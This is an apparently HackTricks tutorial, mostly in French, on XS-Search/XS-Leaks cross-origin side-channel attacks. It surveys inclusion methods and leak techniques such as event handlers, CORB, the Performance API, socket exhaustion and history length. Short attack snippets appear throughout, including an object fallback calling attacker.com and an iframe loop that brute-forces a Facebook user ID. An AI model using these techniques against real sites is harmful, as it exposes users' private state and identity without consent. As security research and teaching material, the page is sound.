XS-Search/XS-Leaks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

XS-Search est une méthode utilisée pour l’extraction d’informations cross-origin en tirant parti de vulnérabilités de side channel.

Les composants clés impliqués dans cette attaque incluent :

  • Vulnerable Web : Le site cible depuis lequel on cherche à extraire des informations.
  • Attacker’s Web : Le site malveillant créé par l’attaquant et visité par la victime, hébergeant l’exploit.
  • Inclusion Method : La technique employée pour incorporer le Vulnerable Web dans l’Attacker’s Web (par ex. window.open, iframe, fetch, balise HTML avec href, etc.).
  • Leak Technique : Techniques utilisées pour discerner des différences d’état du Vulnerable Web d’après les informations recueillies via la méthode d’inclusion.
  • States : Les deux conditions possibles du Vulnerable Web que l’attaquant cherche à distinguer.
  • Detectable Differences : Variations observables sur lesquelles l’attaquant s’appuie pour inférer l’état du Vulnerable Web.

Detectable Differences

Plusieurs aspects peuvent être analysés pour différencier les States du Vulnerable Web :

  • Status Code : Distinguer entre différents codes de réponse HTTP cross-origin, comme erreurs serveur, erreurs client ou erreurs d’authentification.
  • API Usage : Identifier l’utilisation d’API Web sur les pages, révélant si une page cross-origin utilise une API JavaScript spécifique.
  • Redirects : Détecter des navigations vers d’autres pages, pas seulement des redirects HTTP mais aussi ceux déclenchés par JavaScript ou HTML.
  • Page Content : Observer des variations dans le body de la réponse HTTP ou dans des sous-ressources de la page, comme le nombre de frames embarquées ou des différences de taille d’images.
  • HTTP Header : Noter la présence ou éventuellement la valeur d’un header de réponse HTTP spécifique, y compris des en-têtes comme X-Frame-Options, Content-Disposition et Cross-Origin-Resource-Policy.
  • Timing : Remarquer des écarts de temps constants entre les deux States.

Inclusion Methods

  • HTML Elements : Le HTML offre diverses éléments pour l’inclusion de ressources cross-origin, comme stylesheets, images ou scripts, forçant le navigateur à requêter une ressource non-HTML. Une compilation d’éléments HTML potentiels pour cet usage se trouve sur https://github.com/cure53/HTTPLeaks.
  • Frames : Des éléments tels que iframe, object et embed peuvent intégrer directement des ressources HTML dans la page de l’attaquant. Si la page manque de protection contre le framing, JavaScript peut accéder à l’objet window de la ressource encadrée via la propriété contentWindow.
  • Pop-ups : La méthode window.open ouvre une ressource dans un nouvel onglet ou une nouvelle fenêtre, fournissant un window handle pour que JavaScript interagisse avec les méthodes et propriétés suivant le SOP. Les pop-ups, souvent utilisées pour le single sign-on, contournent le framing et les restrictions de cookies d’une ressource cible. Toutefois, les navigateurs modernes restreignent la création de pop-ups à certaines actions utilisateur.
  • JavaScript Requests : JavaScript permet des requêtes directes vers des ressources cibles en utilisant XMLHttpRequests ou la Fetch API. Ces méthodes offrent un contrôle précis sur la requête, par exemple la possibilité de suivre ou non les redirects HTTP.

Leak Techniques

  • Event Handler : Une technique classique dans XS-Leaks, où des event handlers comme onload et onerror donnent des informations sur le succès ou l’échec du chargement d’une ressource.
  • Error Messages : Les exceptions JavaScript ou des pages d’erreur spéciales peuvent fournir des informations de leak soit directement via le message d’erreur soit par la simple distinction entre présence et absence.
  • Global Limits : Des limitations physiques d’un navigateur, comme la capacité mémoire ou d’autres limites imposées, peuvent signaler qu’un seuil est atteint et servir de technique de leak.
  • Global State : Des interactions détectables avec les états globaux du navigateur (par ex. l’interface History) peuvent être exploitées. Par exemple, le nombre d’entrées dans l’historique du navigateur peut donner des indices sur des pages cross-origin.
  • Performance API : Cette API fournit des détails de performance de la page courante, y compris le timing réseau pour le document et les ressources chargées, permettant d’inférer des informations sur les ressources demandées.
  • Readable Attributes : Certains attributs HTML sont lisibles cross-origin et peuvent être utilisés comme technique de leak. Par exemple, la propriété window.frame.length permet à JavaScript de compter les frames incluses dans une page cross-origin.

XSinator Tool & Paper

XSinator est un outil automatique pour vérifier les navigateurs contre plusieurs XS-Leaks connus expliqués dans son paper : https://xsinator.com/paper.pdf

Vous pouvez accéder à l’outil sur https://xsinator.com/

Warning

Excluded XS-Leaks : Nous avons dû exclure les XS-Leaks qui reposent sur les service workers car ils interféreraient avec d’autres leaks dans XSinator. De plus, nous avons choisi d’exclure les XS-Leaks qui dépendent de mauvaises configurations et de bugs dans une application web spécifique. Par exemple, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage ou Cross-Site Scripting. En outre, nous avons exclu les XS-Leaks basés sur le temps car ils sont souvent lents, bruyants et imprécis.

Timing Based techniques

Certaines des techniques suivantes vont utiliser le timing comme partie du processus pour détecter des différences entre les States possibles des pages web. Il existe différentes manières de mesurer le temps dans un navigateur.

Clocks : L’API performance.now() permet d’obtenir des mesures de temps à haute résolution.
Un nombre considérable d’APIs peuvent être détournées par un attaquant pour créer des clocks implicites : Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animations CSS, et d’autres.
Pour plus d’infos : https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

L’exemple de code essaie de charger des scripts/objects depuis JS, mais d’autres tags tels que objects, stylesheets, images, audios peuvent aussi être utilisés. De plus, il est aussi possible d’injecter la balise directement et de déclarer les événements onload et onerror à l’intérieur de la balise (au lieu de l’injecter depuis JS).

Il existe également une version sans script de cette attaque :

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

Dans ce cas, si example.com/404 n’est pas trouvé, attacker.com/?error sera chargé.

Content-Type/CORB script load oracle

  • Méthodes d’inclusion: Éléments HTML (script)
  • Différence détectable: En-tête / Content-Type via onload vs onerror (CORB)
  • Résumé: Si un endpoint renvoie du HTML en cas de correspondance et du JSON en cas de non-correspondance, le charger avec <script src>. Le HTML déclenche onload ; le JSON est bloqué par CORB et déclenche onerror, fournissant un oracle booléen pour brute-force des identifiants comme __user dans une portée connue.
  • Remarques: Fonctionne cross-origin sans lire le corps des réponses ; pratique pour énumérer le compte actif quand un tenant ID est fixe.

postMessage vs X-Frame-Options deny oracle

  • Méthodes d’inclusion: Frames
  • Différence détectable: En-tête (XFO) + présence/absence de postMessage
  • Résumé: Certains widgets envoient un postMessage à leur parent une fois chargés. Si la requête est encadrée avec un identifiant incorrect, le serveur peut répondre avec X-Frame-Options: deny, empêchant le rendu et donc aucun message n’est émis. En positionnant le src de l’iframe avec l’ID candidat, en attendant un événement message (succès) et en traitant le timeout/absence de message comme échec, le compte actif peut être brute-forcé.
  • Extrait minimal:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

pour plus de pièges liés aux messages/iframes.

Onload Timing

performance.now example

Onload Timing + Forced Heavy Task

Cette technique est comme la précédente, mais l’attacker va aussi forcer une action à prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.

performance.now + Force heavy task

unload/beforeunload Timing

Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements unload et beforeunload. L’événement beforeunload est déclenché lorsque le navigateur est sur le point de naviguer vers une nouvelle page, tandis que l’événement unload se produit lorsque la navigation a réellement lieu. La différence de temps entre ces deux événements peut être calculée pour déterminer la durée pendant laquelle le navigateur a passé à récupérer la ressource.

Sandboxed Frame Timing + onload

Il a été observé que, en l’absence de Framing Protections, le temps nécessaire pour qu’une page et ses sous-ressources se chargent sur le réseau peut être mesuré par un attacker. Cette mesure est généralement possible parce que le gestionnaire onload d’un iframe n’est déclenché qu’après la fin du chargement des ressources et l’exécution du JavaScript. Pour contourner la variabilité introduite par l’exécution des scripts, un attacker peut utiliser l’attribut sandbox dans le <iframe>. L’inclusion de cet attribut restreint de nombreuses fonctionnalités, notamment l’exécution de JavaScript, facilitant ainsi une mesure principalement influencée par les performances réseau.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Résumé: Si vous pouvez faire planter la page lorsque le contenu correct est accédé et la faire charger correctement lorsque n’importe quel contenu est accédé, alors vous pouvez faire une boucle pour extraire toutes les informations sans mesurer le temps.
  • Code Example:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains “flag” using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event won’t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • Inclusion Methods: Frames
  • Detectable Difference: Page Content
  • More info:
  • Résumé: Si la page renvoie le contenu sensible, ou un contenu qui peut être contrôlé par l’utilisateur. L’utilisateur pourrait placer du JS valide dans le cas négatif, et charger chaque essai à l’intérieur de balises <script>, si bien que dans les cas négatifs le code de l’attaquant sera exécuté, et dans les cas affirmatifs rien ne sera exécuté.
  • Code Example:

JavaScript Execution XS Leak

CORB - Onerror

  • Inclusion Methods: HTML Elements
  • Detectable Difference: Status Code & Headers
  • More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
  • Résumé: Cross-Origin Read Blocking (CORB) est une mesure de sécurité qui empêche les pages web de charger certaines ressources cross-origin sensibles pour se protéger contre des attaques comme Spectre. Cependant, les attaquants peuvent exploiter son comportement protecteur. Lorsqu’une réponse soumise à CORB renvoie un Content-Type CORB protected avec nosniff et un code d’état 2xx, CORB supprime le corps et les en-têtes de la réponse. Les attaquants observant cela peuvent déduire la combinaison du status code (indiquant succès ou erreur) et du Content-Type (indiquant si c’est protégé par CORB), conduisant à une possible information leak.
  • Code Example:

Check the more information link for more information about the attack.

onblur

It’s possible to load a page inside an iframe and use the #id_value to make the page focus on the element of the iframe with indicated if, then if an onblur signal is triggered, the ID element exists.
You can perform the same attack with portal tags.

postMessage Broadcasts

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: API Usage
  • More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
  • Résumé: Rassembler des informations sensibles depuis un postMessage ou utiliser la présence de postMessages comme un oracle pour connaître l’état de l’utilisateur sur la page
  • Code Example: Any code listening for all postMessages.

Applications frequently utilize postMessage broadcasts to communicate across different origins. However, this method can inadvertently expose sensitive information if the targetOrigin parameter is not properly specified, allowing any window to receive the messages. Furthermore, the mere act of receiving a message can act as an oracle; for instance, certain messages might only be sent to users who are logged in. Therefore, the presence or absence of these messages can reveal information about the user’s state or identity, such as whether they are authenticated or not.

Global Limits Techniques

WebSocket API

It is possible to identify if, and how many, WebSocket connections a target page uses. It allows an attacker to detect application states and leak information tied to the number of WebSocket connections.

If one origin uses the maximum amount of WebSocket connection objects, regardless of their connections state, the creation of new objects will result in JavaScript exceptions. To execute this attack, the attacker website opens the target website in a pop-up or iframe and then, after the target web has been loaded, attempts to create the maximum number of WebSockets connections possible. The number of thrown exceptions is the number of WebSocket connections used by the target website window.

Payment API

This XS-Leak enables an attacker to detect when a cross-origin page initiates a payment request.

Because only one request payment can be active at the same time, if the target website is using the Payment Request API, any further attempts to show use this API will fail, and cause a JavaScript exception. The attacker can exploit this by periodically attempting to show the Payment API UI. If one attempt causes an exception, the target website is currently using it. The attacker can hide these periodical attempts by immediately closing the UI after creation.

Timing the Event Loop

Event Loop Blocking + Lazy images

JavaScript operates on a single-threaded event loop concurrency model, signifying that it can only execute one task at a time. This characteristic can be exploited to gauge how long code from a different origin takes to execute. An attacker can measure the execution time of their own code in the event loop by continuously dispatching events with fixed properties. These events will be processed when the event pool is empty. If other origins are also dispatching events to the same pool, an attacker can infer the time it takes for these external events to execute by observing delays in the execution of their own tasks. This method of monitoring the event loop for delays can reveal the execution time of code from different origins, potentially exposing sensitive information.

Warning

In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Busy Event Loop

  • Inclusion Methods:
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Résumé: Une méthode pour mesurer le temps d’exécution d’une opération web consiste à bloquer intentionnellement la boucle d’événements d’un thread puis chronométrer combien de temps il faut avant que la boucle d’événements redevienne disponible. En insérant une opération bloquante (comme un long calcul ou un appel API synchrone) dans la boucle d’événements, et en surveillant le temps nécessaire au démarrage de l’exécution du code suivant, on peut déduire la durée des tâches qui s’exécutaient dans la boucle pendant la période de blocage. Cette technique exploite la nature mono-thread de la boucle d’événements JavaScript, où les tâches s’exécutent séquentiellement, et peut fournir des informations sur les performances ou le comportement d’autres opérations partageant le même thread.
  • Code Example:

A significant advantage of the technique of measuring execution time by locking the event loop is its potential to circumvent Site Isolation. Site Isolation is a security feature that separates different websites into separate processes, aiming to prevent malicious sites from directly accessing sensitive data from other sites. However, by influencing the execution timing of another origin through the shared event loop, an attacker can indirectly extract information about that origin’s activities. This method does not rely on direct access to the other origin’s data but rather observes the impact of that origin’s activities on the shared event loop, thus evading the protective barriers established by Site Isolation.

Warning

In an execution timing it’s possible to eliminate network factors to obtain more precise measurements. For example, by loading the resources used by the page before loading it.

Connection Pool

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Résumé: Un attaquant pourrait verrouiller tous les sockets sauf 1, charger la cible et en même temps charger une autre page ; le temps jusqu’au démarrage du chargement de la dernière page est le temps que la cible a pris pour charger.
  • Code Example:

Connection Pool Examples

Browsers utilize sockets for server communication, but due to the limited resources of the operating system and hardware, browsers are compelled to impose a limit on the number of concurrent sockets. Attackers can exploit this limitation through the following steps:

  1. Ascertain the browser’s socket limit, for instance, 256 global sockets.
  2. Occupy 255 sockets for an extended duration by initiating 255 requests to various hosts, designed to keep the connections open without completing.
  3. Employ the 256th socket to send a request to the target page.
  4. Attempt a 257th request to a different host. Given that all sockets are in use (as per steps 2 and 3), this request will be queued until a socket becomes available. The delay before this request proceeds provides the attacker with timing information about the network activity related to the 256th socket (the target page’s socket). This inference is possible because the 255 sockets from step 2 are still engaged, implying that any newly available socket must be the one released from step 3. The time taken for the 256th socket to become available is thus directly linked to the time required for the request to the target page to complete.

For more info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Connection Pool by Destination

  • Inclusion Methods: JavaScript Requests
  • Detectable Difference: Timing (generally due to Page Content, Status Code)
  • More info:
  • Résumé: C’est similaire à la technique précédente mais au lieu d’utiliser tous les sockets, Google Chrome impose une limite de 6 requêtes concurrentes vers la même origine. Si nous bloquons 5 puis lançons une 6ème requête nous pouvons la chronométrer et si nous arrivons à faire en sorte que la page victime envoie plus de requêtes au même endpoint pour détecter un état de la page, la 6ème requête prendra plus de temps et nous pourrons la détecter.

Performance API Techniques

The Performance API offers insights into the performance metrics of web applications, further enriched by the Resource Timing API. The Resource Timing API enables the monitoring of detailed network request timings, such as the duration of the requests. Notably, when servers include the Timing-Allow-Origin: * header in their responses, additional data like the transfer size and domain lookup time becomes available.

This wealth of data can be retrieved via methods like performance.getEntries or performance.getEntriesByName, providing a comprehensive view of performance-related information. Additionally, the API facilitates the measurement of execution times by calculating the difference between timestamps obtained from performance.now(). However, it’s worth noting that for certain operations in browsers like Chrome, the precision of performance.now() may be limited to milliseconds, which could affect the granularity of timing measurements.

Beyond timing measurements, the Performance API can be leveraged for security-related insights. For instance, the presence or absence of pages in the performance object in Chrome can indicate the application of X-Frame-Options. Specifically, if a page is blocked from rendering in a frame due to X-Frame-Options, it will not be recorded in the performance object, providing a subtle clue about the page’s framing policies.

Error Leak

It is possible to differentiate between HTTP response status codes because requests that lead to an error do not create a performance entry.

Style Reload Error

In the previous technique it was also identified two cases where browser bugs in GC lead to resources being loaded twice when they fail to load. This will result in multiple entries in the Performance API and can thus be detected.

Request Merging Error

The technique was found in a table in the mentioned paper but no description of the technique was found on it. However, you can find the source code checking for it in https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak

Empty Page Leak

An attacker can detect if a request resulted in an empty HTTP response body because empty pages do not create a performance entry in some browsers.

XSS-Auditor Leak

In Security Assertions (SA), the XSS Auditor, originally intended to prevent Cross-Site Scripting (XSS) attacks, can paradoxically be exploited to leak sensitive information. Although this built-in feature was removed from Google Chrome (GC), it’s still present in SA. In 2013, Braun and Heiderich demonstrated that the XSS Auditor could inadvertently block legitimate scripts, leading to false positives. Building on this, researchers developed techniques to extract information and detect specific content on cross-origin pages, a concept known as XS-Leaks, initially reported by Terada and elaborated by Heyes in a blog post. Although these techniques were specific to the XSS Auditor in GC, it was discovered that in SA, pages blocked by the XSS Auditor do not generate entries in the Performance API, revealing a method through which sensitive information might still be leaked.

X-Frame Leak

If a page is not allowed to be rendered in an iframe it does not create a performance entry. As a result, an attacker can detect the response header X-Frame-Options.
Same happens if you use an embed tag.

Download Detection

Similar, to the XS-Leak described, a resource that is downloaded because of the ContentDisposition header, also does not create a performance entry. This technique works in all major browsers.

Redirect Start Leak

We found one XS-Leak instance that abuses the behavior of some browsers which log too much information for cross-origin requests. The standard defines a subset of attributes that should be set to zero for cross-origin resources. However, in SA it is possible to detect if the user is redirected by the target page, by querying the Performance API and checking for the redirectStart timing data.

Duration Redirect Leak

In GC, the duration for requests that result in a redirect is negative and can thus be distinguished from requests that do not result in a redirect.

CORP Leak

In some cases, the nextHopProtocol entry can be used as a leak technique. In GC, when the CORP header is set, the nextHopProtocol will be empty. Note that SA will not create a performance entry at all for CORP-enabled resources.

Service Worker

Service workers are event-driven script contexts that run at an origin. They run in the background of a web page and can intercept, modify, and cache resources to create offline web application.
If a resource cached by a service worker is accessed via iframe, the resource will be loaded from the service worker cache.
To detect if the resource was loaded from the service worker cache the Performance API can be used.
This could also be done with a Timing attack (check the paper for more info).

Cache

Using the Performance API it’s possible to check if a resource is cached.

Network Duration

Error Messages Technique

Media Error

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}

function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""

// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}

L’interface MediaError et sa propriété message identifient de manière unique les ressources qui se chargent correctement avec une chaîne distincte. Un attaquant peut exploiter cette caractéristique en observant le contenu du message, déduisant ainsi le statut de la réponse d’une ressource cross-origin.

CORS Error

Cette technique permet à un attaquant d’extraire la destination d’une redirection d’un site cross-origin en exploitant la manière dont les navigateurs basés sur WebKit gèrent les requêtes CORS. Plus précisément, lorsqu’une requête CORS-enabled est envoyée vers une cible qui effectue une redirection basée sur l’état utilisateur et que le navigateur refuse ensuite la requête, l’URL complète de la cible de la redirection est divulguée dans le message d’erreur. Cette vulnérabilité révèle non seulement l’existence de la redirection mais expose aussi le point de terminaison de la redirection et les paramètres de requête sensibles qu’il peut contenir.

SRI Error

Un attaquant peut exploiter des messages d’erreur verbeux pour déduire la taille des réponses cross-origin. Cela est possible à cause du mécanisme de Subresource Integrity (SRI), qui utilise l’attribut integrity pour valider que les ressources fetchées, souvent depuis des CDNs, n’ont pas été altérées. Pour que SRI fonctionne sur des ressources cross-origin, celles-ci doivent être CORS-enabled ; sinon, elles ne sont pas soumises aux vérifications d’intégrité. Dans Security Assertions (SA), de la même manière que pour le CORS error XS-Leak, un message d’erreur peut être capturé après un fetch avec un attribut integrity qui échoue. Les attaquants peuvent délibérément provoquer cette erreur en assignant une valeur de hash invalide à l’attribut integrity d’une requête. Dans SA, le message d’erreur résultant révèle involontairement la longueur du contenu de la ressource demandée. Cette fuite d’information permet à un attaquant de discerner des variations dans la taille des réponses, ouvrant la voie à des attaques XS-Leak plus sophistiquées.

CSP Violation/Detection

Un XS-Leak peut utiliser la CSP pour détecter si un site cross-origin a été redirigé vers une origine différente. Cette fuite peut détecter la redirection, mais en plus, le domaine de la cible de la redirection est divulgué. L’idée de base de cette attaque est d’autoriser le domaine cible sur le site de l’attaquant. Une fois qu’une requête est émise vers le domaine cible, celui-ci redirige vers un domaine cross-origin. La CSP bloque l’accès à celui-ci et crée un rapport de violation exploitable comme technique de leak. Selon le navigateur, ce rapport peut divulguer l’emplacement cible de la redirection.
Les navigateurs modernes n’indiqueront généralement pas l’URL vers laquelle il a été redirigé, mais il reste possible de détecter qu’une redirection cross-origin a été déclenchée.

Cache

Les navigateurs peuvent utiliser un cache partagé pour tous les sites. Indépendamment de leur origine, il est possible de déduire si une page cible a demandé un fichier spécifique.

Si une page charge une image uniquement si l’utilisateur est connecté, vous pouvez invalider la ressource (pour qu’elle ne soit plus mise en cache si elle l’était, voir les liens pour plus d’infos), effectuer une requête qui pourrait charger cette ressource et essayer de charger la ressource avec une requête malformée (par exemple en utilisant un referer header trop long). Si le chargement de la ressource n’a déclenché aucune erreur, c’est parce qu’elle était en cache.

CSP Directive

Une fonctionnalité récente dans Google Chrome permet aux pages web de proposer une Content Security Policy (CSP) en définissant un attribut sur un élément iframe, avec les directives de politique transmises avec la requête HTTP. Normalement, le contenu embarqué doit autoriser cela via un en-tête HTTP, sinon une page d’erreur est affichée. Cependant, si l’iframe est déjà gouvernée par une CSP et que la nouvelle politique proposée n’est pas plus permissive, la page se charge normalement. Ce mécanisme ouvre une voie pour qu’un attaquant détecte des directives CSP spécifiques d’une page cross-origin en identifiant la page d’erreur. Bien que cette vulnérabilité ait été signalée comme corrigée, nos découvertes révèlent une nouvelle technique de leak capable de détecter la page d’erreur, suggérant que le problème sous-jacent n’a jamais été entièrement résolu.

CORP

L’en-tête CORP est une fonctionnalité de sécurité de la plateforme web relativement récente qui, lorsqu’il est défini, bloque les requêtes cross-origin en mode no-cors vers la ressource donnée. La présence de cet en-tête peut être détectée, parce qu’une ressource protégée par CORP lancera une erreur lorsqu’elle est fetchée depuis une origine non autorisée.

CORB

Consultez le lien pour plus d’informations sur l’attaque.

CORS error on Origin Reflection misconfiguration

Si l’en-tête Origin est reflété dans l’en-tête Access-Control-Allow-Origin, un attaquant peut abuser de ce comportement pour tenter de fetch la ressource en mode CORS. Si aucune erreur n’est déclenchée, cela signifie qu’elle a été récupérée correctement depuis le web ; si une erreur est déclenchée, c’est parce qu’elle a été accédée depuis le cache (l’erreur apparaît parce que le cache conserve une réponse avec un en-tête CORS autorisant le domaine original et non celui de l’attaquant).
Notez que si l’origin n’est pas reflété mais qu’un wildcard est utilisé (Access-Control-Allow-Origin: *), cela ne fonctionnera pas.

Readable Attributes Technique

Fetch Redirect

En soumettant une requête avec la Fetch API en utilisant redirect: "manual" et d’autres paramètres, il est possible de lire l’attribut response.type et si sa valeur est opaqueredirect, alors la réponse était une redirection.

COOP

Un attaquant peut déduire la présence de l’en-tête Cross-Origin Opener Policy (COOP) dans une réponse HTTP cross-origin. COOP est utilisé par les applications web pour empêcher des sites externes d’obtenir des références window arbitraires. La visibilité de cet en-tête peut être déterminée en tentant d’accéder à la référence contentWindow. Dans les scénarios où COOP est appliqué de manière conditionnelle, la propriété opener devient un indicateur révélateur : elle est undefined lorsque COOP est actif, et defined lorsqu’il est absent.

URL Max Length - Server Side

Si une redirection côté serveur utilise des données utilisateur dans l’URL de redirection et des données supplémentaires, il est possible de détecter ce comportement parce que généralement les serveurs ont une limite de longueur de requête. Si les données utilisateur ont une longueur égale à cette limite moins 1, et que la redirection ajoute quelque chose en plus, cela déclenchera une erreur détectable via des Error Events.

Si vous pouvez d’une manière ou d’une autre définir des cookies pour un utilisateur, vous pouvez aussi réaliser cette attaque en créant suffisamment de cookies (cookie bomb) de sorte qu’avec l’augmentation de la taille de la réponse la bonne réponse déclenche une erreur. Dans ce cas, rappelez-vous que si vous déclenchez cette requête depuis le même site, <script> enverra automatiquement les cookies (vous pouvez donc vérifier les erreurs).
Un exemple du cookie bomb + XS-Search se trouve dans la solution prévue de ce writeup : https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None ou être dans le même contexte est généralement nécessaire pour ce type d’attaque.

URL Max Length - Client Side

D’après la documentation de Chromium, la longueur maximale d’URL de Chrome est de 2MB.

En général, la plateforme web n’impose pas de limites sur la longueur des URLs (bien que 2^31 soit une limite courante). Chrome limite les URLs à une longueur maximale de 2MB pour des raisons pratiques et pour éviter des problèmes de déni de service dans la communication inter-processus.

Ainsi, si l’URL de redirection renvoyée est plus longue dans un des cas, il est possible de la faire rediriger avec une URL plus grande que 2MB pour atteindre la limite de longueur. Lorsque cela se produit, Chrome affiche une page about:blank#blocked.

La différence notable est que si la redirection s’est terminée, window.origin lance une erreur parce qu’une origine cross-origin ne peut pas accéder à cette information. Cependant, si la limite est atteinte et que la page chargée est about:blank#blocked, l’origin de la fenêtre reste celui du parent, ce qui est une information accessible.

Toutes les informations additionnelles nécessaires pour atteindre les 2MB peuvent être ajoutées via un hash dans l’URL initiale afin qu’elles soient utilisées dans la redirection.

URL Max Length - Client Side

Max Redirects

Si le nombre maximal de redirects suivi par un navigateur est 20, un attaquant pourrait tenter de charger sa page avec 19 redirects puis envoyer la victime vers la page testée. Si une erreur est déclenchée, alors la page essayait de rediriger la victime.

History Length

L’API History permet au code JavaScript de manipuler l’historique du navigateur, qui enregistre les pages visitées par un utilisateur. Un attaquant peut utiliser la propriété length comme méthode d’inclusion : pour détecter des navigations JavaScript et HTML.
En vérifiant history.length, en faisant naviguer un utilisateur vers une page, en le ramenant back vers la même origine et en vérifiant la nouvelle valeur de history.length.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: It’s possible to guess if the location of a frame/popup is in an specific URL abusing the history length.
  • Code Example: Below

Un attaquant pourrait utiliser du code JavaScript pour changer la location du frame/pop-up vers une URL devinée puis immédiatement la remplacer par about:blank. Si la longueur de l’historique a augmenté, cela signifie que l’URL devinée était correcte et a eu le temps d’augmenter la longueur (parce que l’URL n’est pas rechargée si elle est identique). Si elle n’a pas augmenté, cela signifie qu’elle a essayé de charger l’URL devinée mais que, comme nous avons immédiatement chargé about:blank, la longueur de l’historique n’a jamais augmenté lors du chargement de l’URL devinée.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

Compter le nombre de frames dans une page web ouverte via iframe ou window.open peut aider à identifier le statut de l’utilisateur sur cette page.
De plus, si la page a toujours le même nombre de frames, vérifier en continu le nombre de frames peut permettre d’identifier un pattern susceptible de révéler des informations.

Un exemple de cette technique : dans Chrome, un PDF peut être détecté via le frame counting parce qu’un embed est utilisé en interne. Il existe des Open URL Parameters qui permettent un certain contrôle du contenu comme zoom, view, page, toolbar où cette technique peut être intéressante.

HTMLElements

Les Information leak via des éléments HTML sont une préoccupation en sécurité web, notamment lorsque des fichiers média dynamiques sont générés en fonction d’informations utilisateur, ou lorsque des watermarks sont ajoutés et modifient la taille des médias. Un attaquant peut exploiter cela pour différencier des états possibles en analysant les informations exposées par certains éléments HTML.

Information Exposed by HTML Elements

  • HTMLMediaElement: Cet élément révèle la duration et les plages buffered du média, accessibles via son API. Read more about HTMLMediaElement
  • HTMLVideoElement: Il expose videoHeight et videoWidth. Dans certains navigateurs, des propriétés additionnelles comme webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, et webkitDecodedFrameCount sont disponibles, offrant plus d’informations sur le contenu média. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Cette fonction fournit des détails sur la qualité de lecture vidéo, incluant totalVideoFrames, qui peut indiquer la quantité de données vidéo traitées. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Cet élément fuit la height et la width d’une image. Cependant, si une image est invalide, ces propriétés retourneront 0, et la fonction image.decode() sera rejetée, indiquant l’échec du chargement. Read more about HTMLImageElement

CSS Property

Les applications web peuvent modifier le style du site en fonction du statut de l’utilisateur. Des fichiers CSS cross-origin peuvent être inclus sur la page de l’attaquant via l’élément HTML link, et les rules seront appliquées à la page attaquante. Si une page change dynamiquement ces rules, un attaquant peut détecter ces différences selon l’état de l’utilisateur.
Comme technique de leak, l’attaquant peut utiliser la méthode window.getComputedStyle pour lire des propriétés CSS d’un élément HTML spécifique. En conséquence, un attaquant peut lire des propriétés CSS arbitraires si l’élément affecté et le nom de la propriété sont connus.

CSS History

Tip

Selon this, ceci ne fonctionne pas dans headless Chrome.

